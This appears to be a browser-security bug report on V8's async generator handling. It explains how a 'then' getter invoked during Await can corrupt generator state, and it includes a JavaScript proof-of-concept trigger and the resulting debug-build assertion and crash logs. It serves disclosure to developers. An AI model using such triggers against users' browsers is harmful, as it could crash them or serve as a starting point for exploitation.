Here's a snippet of AsyncGeneratorReturn. (https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-async-generator-gen.cc?rcl=bcd1365cf7fac0d7897c43b377c143aae2d22f92&l=650)

  Node* const context = Parameter(Descriptor::kContext);
  Node* const outer_promise = LoadPromiseFromAsyncGeneratorRequest(req);
  Node* const promise =
      Await(context, generator, value, outer_promise, AwaitContext::kLength,
            init_closure_context, var_on_resolve.value(), var_on_reject.value(),
            is_caught);

  CSA_SLOW_ASSERT(this, IsGeneratorNotSuspendedForAwait(generator));
  StoreObjectField(generator, JSAsyncGeneratorObject::kAwaitedPromiseOffset,
                   promise);

The Await methods calls ResolveNativePromise which calls InternalResolvePromise which can invoke a user JavaScript code through a "then" getter. If the AwaitedPromise is replaced by the user script, the AwaitedPromise will be immediately overwritten after the call to Await, this may lead the generator to an incorrect state.

PoC:
async function* asyncGenerator() {
}

let gen = asyncGenerator();
gen.return({
    get then() {
        delete this.then;

        gen.next();
    }
});

Log in debug mode:
abort: CSA_ASSERT failed: IsNotUndefined(request) [../../src/builtins/builtins-async-generator-gen.cc:328]


==== JS stack trace =========================================

Security context: 0x2b29083a3a71 <JSObject>#0#
    2: /* anonymous */(this=0x19b7b0603721 <JSGlobal Object>#1#,0x19b7b060d139 <Object map = 0x189055388c91>#2#)

==== Details ================================================

[2]: /* anonymous */(this=0x19b7b0603721 <JSGlobal Object>#1#,0x19b7b060d139 <Object map = 0x189055388c91>#2#) {
// optimized frame
--------- s o u r c e   c o d e ---------
<No Source>
-----------------------------------------
}
==== Key         ============================================

 #0# 0x2b29083a3a71: 0x2b29083a3a71 <JSObject>
 #1# 0x19b7b0603721: 0x19b7b0603721 <JSGlobal Object>
 #2# 0x19b7b060d139: 0x19b7b060d139 <Object map = 0x189055388c91>
=====================

Received signal 4 ILL_ILLOPN 7fb143ae2781

==== C stack trace ===============================

 [0x7fb143ae643e]
 [0x7fb143ae6395]
 [0x7fb1436ce390]
 [0x7fb143ae2781]
 [0x7fb1430f23ae]
 [0x7fb1430f1ef7]
 [0x1c8e08204384]
[end of stack trace]
Illegal instruction

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.